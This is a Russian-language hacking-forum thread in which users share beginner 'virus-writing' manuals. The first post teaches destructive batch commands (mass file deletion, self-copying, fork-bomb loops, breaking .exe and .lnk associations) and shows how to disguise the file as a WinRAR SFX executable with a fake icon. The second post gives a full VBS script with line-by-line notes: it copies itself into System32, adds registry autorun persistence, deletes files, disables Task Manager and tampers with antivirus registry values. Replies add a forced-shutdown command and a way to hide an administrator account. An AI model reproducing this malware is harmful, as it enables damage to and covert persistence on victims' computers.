• XSS.stack #1 – первый литературный журнал от юзеров форума

Bat-Вирусы

$_Grizli_$

floppy-диск
Пользователь
Регистрация
12.09.2008
Сообщения
4
Реакции
0
Хай всем новичкам. Я сам начинал с этого мануала, и саветую всем кто только учиться :)

Приветствую всех начинающих вирусописателей)) В этой статье не будет ничего сложного, здесь НЕ БУДЕТ ПРОГРАММИРОВАНИЯ. Зато очень полезная информация для тех кто хочет создать свой «вирус»)) Заранее скажу что учился сам по одной книжке но вот косяк после формата винта я про неё забыл и…а так бы лучше ссылку на неё дал…Ну ладно поехали!) И ещё...если кому-то наскучило читать про бат читайте про другое а для новичков это очень интересная вещь уж поверьте)

Вобщем речь пойдёт о написании вируса в блокноте
BAT файлы это командные файлы в которых записаны команды по одной в каждой строчке. ТОесть написал команду в строчке блокнота жмёшь «Enter» и приступил к написанию другой) Теперь делай по действиям :
1. Запускаешь блокнот
2. Приведу парочку тупых команд но это для того чтобы ты убедился что я не врун)) Дальше будет интереснее) Вот пример того что можешь пихнуть в блокнот..
Calc (запускает конкулятор)
Taskmgr (диспетчер задач)
Mspaint(рисовалка)
Это привёл КОМАНДЫ!) Теперь смотри как это запускать….перед всеми этими командами пишешь «start» Пример: start mspaint, С этим разобрались. Теперь сохраняй всё это дело…Что уже сохранил? Теперь смотри если ты сохранил в формате «txt» то можешь смело искать другую тему и покинуть эту…если ты внимательно читал и сохранил в «bat» то можешь себя похвалить))) Теперь пробуй запустить твоё чудо) Если команда правильная то у тебя запуститься то что ты хотел)) Теперь следущее….
И ещё.. прописывать «start» только для прог винды!!! Для остальных команд этого не нужно!! Теперь…))))
А теперь мы приступим к злому банальному удалению файлов!! Запускай любимый блокнот и пиши в нём…(ты скопировал команду а ты сам напиши! Запоминай их!!)
del *.* /q ( после запуска этой команды все файлы кроме папок которые были в той папке где был запущен вирус удалатся!!! Тоесть ты уже сохранил это добро в bat на рабочий стол или в мои документы ну или куда хочешь…запускаешь это и……АААА!!!!! Меня Нае….и!!!! Нет) Если ярлычки на рабочем столе удалились а в моих документах кроме папок ничего не осталось значит всё нормально! (для тебя скорее всего и хорошо и плохо, читать нужно было что эта команда делает!))) Нужно просто быть ВНИМАТЕЛЬНЫМ!
Теперь ещё….
Если ты хочешь чтобы твой загадочный файлик после выполнения всех команд просто взял и исчез то эта команда для тебя) del %0 (ПИСАТЬ ЕЁ В САМОМ КОНЦЕ ВИРУСА))))
Эти команды копируют твой файлик туда куда ему скажешь) Вот типичный пример…
copy %0 C:saper.bat или copy %0 C:game.bat Имена файлов и буквы жёсткого диска можно менять главное чтобы они существовали)(всмысле разделы винчестера имелись а не имена файлов)
Теперь прикольнёмся) пиши эту команду) label E: pridurok .После выполнения этой команды винт будет называться «pridurok»))) Тупо но весело)
«Скажи сколько время?))» Вот ещё команда) time 00:00 . Время можно установить естественно своё ну например time 07:45 . Можно ещё подправить дату) date 13.03.36
ПРикольно получится) Каспер начнёт ругаться мол «ключик истёк ещё 20 лет назад))) Покупай или проваливай))))) Также и с другими прогами работающие подобным образом.) Вот тебе ещё команда которая при запуске попытается (в зависимости от мощности компа) повесить его.
:x ;
Start mspaint
goto x ;
Вместо паинта можно поставить любые проги которые хочешь. Возьми тот же калькулятор или сапёр)) Теперь одна весёлая команда))) assoc .exe=.mp3 После её выполнения все ексешнкики будут запускаться как музыка)) Это явное убийство компа) Можно ещё почудить с ярлыками…например пишешь так.. assoc .lnk=.txt И тогда все ярлычки будут открываться скорее всего блокнотиком)))) Представляешь глаза юзверя который будет стучать мышкой по столу пытаясь запустить любимую контру с рабочего стола через ярлык)))) Можно ещё позабивать комп папками) Вот команда:
md 1
md 2
md 3
md 4…
Ну и так далее) А теперь ты говоришь мне « А если мне нужно 1000 папок что я буду всё прописывать вручную?» И я отвечаю «Нет» Есть прекрасный продукт от всеми нами любимого дядя Гейтса. Называется он Microsoft Office . Там есть такой “Exel» Вот в первый ящичек пишешь md 1 и оттягиваешь эту колоночку вниз до нужного тебе числа. Ну потом копируешь и вставляешь в блокнотик….Скорость создания папок напрямую зависит от мощности компа. Кстати намёк…папки тоже место на винте занимают))))
Теперь давай подумаем…Будь твоя жертва немного опытным юзером он испугается рисунка на твоём файлике. (ещё бы! Такая шестерёнка на загадочном файлике..) А ещё хуже если он код посмотрит через тот же блокнотик)))) Надо это исправлять!!! Вкладки «сменить значок» не нашёл?) И правильно) Его и не будет))) Знаешь что мы будем использовать? Нет нет…не джойнер…Мы будем юзать WinRar!!! Что тут удивительного?)))) Просто всё нужно применять в своих целях)) Прежде чем читать дальше иди отдохни или попей пива/колы/сока и т.д….Ну всё теперь дальше…
Кидаешь свой вирусик в архив и теперь начинается самое интересное…вылетает окошко типа «имя и параметры архива» Там выбираешь степень сжатия и т.д…но нам не сжатие нужно….Просто ставишь галочку «Создать SFX-архив. Теперь у тебя не bat файл и не rar…а EXE!!! Теперь заходим в «Дополнительно» и тыкаем кнопку «Параметры SFX». Там есть строка «выолнить после распоковки» там пишешь РЕАЛЬНОЕ имя твоего вирусика с раиширением ну вот пример…virus.bat Теперь ищешь вкладку про лицензию и куралекаешь всякую фигню) Ну если лень можешь с какой-то буржуйской проги на китайском скопировать и вставить. И в вкладке «логотип или значок SFX» указываешь путь к какому-то значку…ну поищи в папке с играм там все значки обычно…ну впринципе всё…Подведём итоги…
Как ты видишь из ничего мы сделали подобие чего-то))) Безобидный блокнот выступил как вирусосоздаватель а винрар сделал якобы программу….Выводы делать конечно только тебе. И смотри не попадись сам на такое) Смотри по размеру файлов и вообще ничего загадочного лучше не принимай от людей в инете!! Если статья вам понравилась прошу написать отзывы и коменты и возможно напишу ещё за совмещение bat и реестра…
Да, и ещё дофига инфы на этом сайте Хак Зона
 
Норм, только смайлов поменьше ставь и с пунктуацией аккуратнее.
Там есть такой “Exel» Вот в первый ящичек пишешь md 1 и оттягиваешь эту колоночку вниз до нужного тебе числа.
А как же циклы.
 
Вот ещё один мануал. Эта статья посвещена vbs-вирусам.


Простейший вирус своими руками.
Всем ку. У каждого хакера в определенный момент возникает желание напакостить кому-либо и написать свой собственный вирус, но незнание какого-либо языка делает это невозможным и новичку приходится искать уже готовые продукты. Сегодня я постараюсь помочь новичкам исполнить их мечту с помощью уже готовых функций. Своего рода предоставить им самые основные "детальки", необходимые для сборки вируса. Предупреждаю заранее – данная статья будет полезна лишь новичкам. Надеюсь она поможет им не только почистить комп своего недруга )), но и хоть самую малость изучить язык Visual Basic Script, и, возможно, даже самим написать какой-нибудь скриптик ( к примеру выскакивающее окошко с сообщением о том что комп был атакован сервером компании Apple XP и почистить системные каталоги )). Тем же, кто считает, что вирусы на VBS это детские шалости могу сказать, что у таких вирусов есть преимущества - пишутся они буквально за несколько минут, и имеют очень малый размер (около 10 кб ). Каждую строчку кода я попытаюсь как можно понятнее раскрыть. Итак, поехали.

Создаём файл virus.vbs , открываем блокнот ( в качестве редактора могу порекомендовать notepad++ ) и начинаем писать наш вредоносный скрипт:

Set Shell = CreateObject("Wscript.Shell")
Set Application = CreateObject("Shell.Application")
Set FileSystemObject = CreateObject("scripting.filesystemobject")
Set File = FileSystemObject.GetFile(WScript.ScriptFullName)
On Error Resume Next
File.Copy ("c:windowsSystem32virus.vbs")
Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunvirus", "C:WINDOWSSYSTEM32virus.vbs"
Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesvirus", "C:WINDOWSSYSTEM32virus.vbs"
Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOncevirus", "C:WINDOWSSYSTEM32virus.vbs"
Shell.popup "message",5, "heading", 0+16
FileSystemObject.deletefolder"C:example",True
FileSystemObject.deletefile"C:example.txt",True
Shell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisabletaskmgr", 1, "REG_DWORD"
Shell.RegWrite "HKEY_CURRENT_USERSoftwaremIRCLicense", "blabla"
Shell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREESETESET SecurityCurrentVersionInfoEditionName", "hacked by ваш ник ;)))"
Shell.RegDelete "HKEY_CURRENT_USERexample"
Shell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop", 1, "REG_DWORD"
Application.MinimizeAll
InternerExplorer.Visible = True
InternerExplorer.Navigate "http://porno.ru/"

Теперь разберём по порядку каждую строчку:

Set Shell = CreateObject("Wscript.Shell") 'с этого момента начинается VB скрипт

Set Application = CreateObject("Shell.Application") 'разрешаем приложения

Set FileSystemObject = CreateObject("scripting.filesystemobject") 'если в скрипте присутствует код использования ФС (aka файловой системы) то необходимо разрешить эту функцию перед началом ее выполнения

Set File = FileSystemObject.GetFile(WScript.ScriptFullName) 'разрешаем работу с файлами (копирование, перемещение и т.д.)

On Error Resume Next 'очень важная функция - пропуск ошибок (если какого-то файла/папки не окажется то произойдет ошибка в скрипте и все последующие функции не будут выполнены, после этой функции после возникающих ошибок последующие функции будут выполнятся как ни в чем не бывало)

File.Copy ("c:windowsSystem32virus.vbs") 'создаём файл virus.vbs в директории c:windowsSystem32 , который содержит тот же код что и этот (короче данный файл копируется туда)

Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunvirus", "C:WINDOWSSYSTEM32virus.vbs" 'прописываем только что созданный файл в автозагрузку через реестр в новый строковый параметр "virus" располагающийся здесь - HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesvirus", "C:WINDOWSSYSTEM32virus.vbs" 'прописываем только что созданный файл в автозагрузку через реестр в новый строковый параметр "virus" располагающийся здесь - HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices

Shell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOncevirus", "C:WINDOWSSYSTEM32virus.vbs" 'если прописать наш файл только здесь, то вирус после перезагрузки запустится только один раз, но!!! когда он будет запускаться в нем будет присутствовать эта строка, которая снова пропишет его опять таки в эту директорию - и так после каждого ребута он всё равно будет запускаться. (можешь выбрать из всех трёх способов автозагрузки только один, на случай если юзер вдруг случайно наткнется на одну из этих записей в реестре)

Shell.popup "message",5, "heading", 0+16 'выводим сообщение с заголовком "heading" и самим сообщением "message" и 0+16=ошибка(можно заменить на 0+64(значок i), 0+48(значок !), 0+32(значок ?) или 0+0(без значка)) и устанавливаем время показа мессаги в 5 сек.(если поставить 0 время показа будет неограниченным) эту сроку можно переместить и в конец скрипта, тогда сообщение будет выводиться после отработки скрипта. Вместо "message" ты можешь подставить любой текст. А что это будет за текст - это уже зависит от твоей фантазии.

FileSystemObject.deletefolder"C:example",True 'удаляем папку example на диске C

FileSystemObject.deletefile"C:example.txt",True 'удаляем файл example.txt на диске C
'изменения реестра (все вкусности которые могут использовать вири, нам не перечислить):

Shell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisabletaskmgr", 1, "REG_DWORD" 'отключаем ctrl+alt+del а точнее запрещаем запуск taskmgr aka диспетчер задач windows

Shell.RegWrite "HKEY_CURRENT_USERSoftwaremIRCLicense", "blabla" 'если у юзера зарегана mIRC то можно сделать подляночку - пускай зарегает еще раз:) Для этого меняем серийник на blabla :) Ты можешь использовать данную функцию для любых других изменений значений реестра, для этого вместо "HKEY_CURRENT_USERSoftwaremIRCLicense" прописываешь путь до интересующего параметра, а вместо "blabla" новое значение.

Shell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREESETESET SecurityCurrentVersionInfoEditionName", "hacked by ваш ник ;)))" 'в главном окне антивируса NOD32 после слов ESET NOD32 Antivirus появится надпись Hacked by "ваш ник" неплохо, да? :)))

Shell.RegDelete "HKEY_CURRENT_USERexample" 'удаляем ветку реестра HKEY_CURRENT_USERexample

'и на последок делаем следующее:
Shell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop", 1, "REG_DWORD" 'удаляем все с рабочего стола

Application.MinimizeAll 'свёртываем все окна

InternerExplorer.Visible = True
InternerExplorer.Navigate "http://porno.ru/" 'переходим на порно сайт чтобы хоть как то успокоить юзера которому теперь не сладко придется.

Так, с *.vbs вроде разобрались, а как же юзер который остался наедине с... как бы это сказать по мягче, в общем чтобы он не перевозбудился от всего только что увиденного, ограничим ему время просмотра до 120 секунд (2 минут :)). Для этого создадим файл virus.bat и впишем в него сдедующую команду:

shutdown -s -f -t 120 -c "chuvak, chtoby ty ne perevozbudilsja, companija MiCrO$ofT ogranichila vremja prosmotra dannogo sajta do 2 minut, posle chego vy otpravytes v rebut"

А чтобы не вылезала некрасивая консоль напишем перед этой командой следующее:

@echo off

Джойним два этих файлика и ... в общем это твоё дело для каких целей ты их будешь использовать, но я рекомендую их удалить :) , так сказать от греха подальше. На последок скажу что статья написана исключительно в ознакомительных целях и не в каких других. В общем не делай глупостей!!! лучше подумай куда бы можно приспособить данные команды чтобы от них польза была. данная статья была взята спортала Хак Зона
 
Будте добры...пожалуйста напишите пример команд Бат вирусов...
Там копия, удаление, работа с реестром, свойства(скрыть)...я конечно понимаю что в сети навалом таких...но я не находил...
Можете сказать что смотреть команды на примере вирусов..но это не то(
Заранее спасибо.
И ещё помогите плиз как через бат файл...сделать пользователя(админа) невидимым при загрузке ПК. Но видным через Панель Управления. :pioneer:
 
WebJunk2.0
Будте добры...пожалуйста напишите пример команд Бат вирусов...
Там копия, удаление, работа с реестром, свойства(скрыть)...
C:\WINDOWS\Help\ntcmds.chm

сделать пользователя(админа) невидимым при загрузке ПК.
Если я правильно понял
Для того чтобы убрать пользователя из списка доступных при запуске системы, нужно добавить ключ типа REG_DWORD, соответствующий имени пользователя в реестре по адресу HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon\ SpecialAccounts\ UserList\. Значение этого ключа равное 1 - разрешает показ имени пользователя на экране приветствия, 0 - запрещает. Но возможность зайти в систему "отключенным пользователем" все равно сохраняется: для этого нужно дважды нажать Crtl+Alt+Del, при этом открывается классическое окно логона, где можно написать имя пользователя и пароль.
Как спрятать пользователя с экрана приветствия при старте Windows XP? Первый результат в поиске. Чтобы убрать только админа, используй групповую политику.
 
Мастиф, респект, спасибо! разобрался понял....
Вот ещё вопрос..решил прикольнуться над другом:
assoc .lnk=.jpg >nul
Прикольнулся, он был в панике....
Настало время всё вернуть назад, а никак(
Прописываю assoc .lnk=.lnk >nul а он мне предлогает открыть файл выбранной программой....
Тоесть Ярлыки у него теперь не фурычат( (даже если создавать новый)
Может кто знает как это исправить?
Буду премного благодарен!
 
WebJunk2.0
Исправлять так же через assoc.
assoc .lnk=.lnk
Естественно это не работает, т.к. он приписывает нынешнее значение. Вообще такие приколы нужно делать с предварительным бэкапом.
Код:
assoc .lnk=lnkfile
На будущее прописывай у себя или на другом исправном компе assoc .lnk и смотри что выдаёт.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх